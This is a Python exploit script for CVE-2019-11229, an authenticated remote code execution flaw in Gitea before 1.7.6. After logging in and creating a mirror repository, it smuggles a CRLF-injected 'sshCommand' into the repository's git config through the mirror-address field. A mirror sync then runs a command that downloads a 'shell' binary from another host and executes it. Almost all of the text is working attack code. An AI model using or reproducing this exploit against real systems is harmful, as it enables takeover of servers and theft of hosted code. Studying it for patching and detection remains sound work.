# Exploit Title: Gitea 1.7.5 - Remote Code Execution
# Date: 2020-05-11
# Exploit Author: 1F98D
# Original Author: LoRexxar
# Software Link: https://gitea.io/en-us/
# Version: Gitea before 1.7.6 and 1.8.x before 1.8-RC3
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2019-11229
# References:
# https://medium.com/@knownsec404team/analysis-of-cve-2019-11229-from-git-config-to-rce-32c217727baa
#
# Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings,
# leading to authenticated remote code execution.
#
#!/usr/bin/python3
import re
import os
import sys
import random
import string
import requests
import tempfile
import threading
import http.server
import socketserver
import urllib.parse
from functools import partial
USERNAME = "test"
PASSWORD = "password123"
HOST_ADDR = '192.168.1.1'
HOST_PORT = 3000
URL = 'http://192.168.1.2:3000'
CMD = 'wget http://192.168.1.2:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell'
# Login
s = requests.Session()
print('Logging in')
body = {
'user_name': USERNAME,
'password': PASSWORD
}
r = s.post(URL + '/user/login',data=body)
if r.status_code != 200:
print('Login unsuccessful')
sys.exit(1)
print('Logged in successfully')
# Obtain user ID for future requests
print('Retrieving user ID')
r = s.get(URL + '/')
if r.status_code != 200:
print('Could not retrieve user ID')
sys.exit(1)
m = re.compile("<meta name=\"_uid\" content=\"(.+)\" />").search(r.text)
USER_ID = m.group(1)
print('Retrieved user ID: {}'.format(USER_ID))
# Hosting the repository to clone
gitTemp = tempfile.mkdtemp()
os.system('cd {} && git init'.format(gitTemp))
os.system('cd {} && git config user.email x@x.com && git config user.name x && touch x && git add x && git commit -m x'.format(gitTemp))
os.system('git clone --bare {} {}.git'.format(gitTemp, gitTemp))
os.system('cd {}.git && git update-server-info'.format(gitTemp))
handler = partial(http.server.SimpleHTTPRequestHandler,directory='/tmp')
socketserver.TCPServer.allow_reuse_address = True
httpd = socketserver.TCPServer(("", HOST_PORT), handler)
t = threading.Thread(target=httpd.serve_forever)
t.start()
print('Created temporary git server to host {}.git'.format(gitTemp))
# Create the repository
print('Creating repository')
REPO_NAME = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
body = {
'_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
'uid': USER_ID,
'repo_name': REPO_NAME,
'clone_addr': 'http://{}:{}/{}.git'.format(HOST_ADDR, HOST_PORT, gitTemp[5:]),
'mirror': 'on'
}
r = s.post(URL + '/repo/migrate', data=body)
if r.status_code != 200:
print('Error creating repo')
httpd.shutdown()
t.join()
sys.exit(1)
print('Repo "{}" created'.format(REPO_NAME))
# Inject command into config file
print('Injecting command into repo')
body = {
'_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
'mirror_address': 'ssh://example.com/x/x"""\r\n[core]\r\nsshCommand="{}"\r\na="""'.format(CMD),
'action': 'mirror',
'enable_prune': 'on',
'interval': '8h0m0s'
}
r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)
if r.status_code != 200:
print('Error injecting command')
httpd.shutdown()
t.join()
sys.exit(1)
print('Command injected')
# Trigger the command
print('Triggering command')
body = {
'_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
'action': 'mirror-sync'
}
r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)
if r.status_code != 200:
print('Error triggering command')
httpd.shutdown()
t.join()
sys.exit(1)
print('Command triggered')
# Shutdown the git server
httpd.shutdown()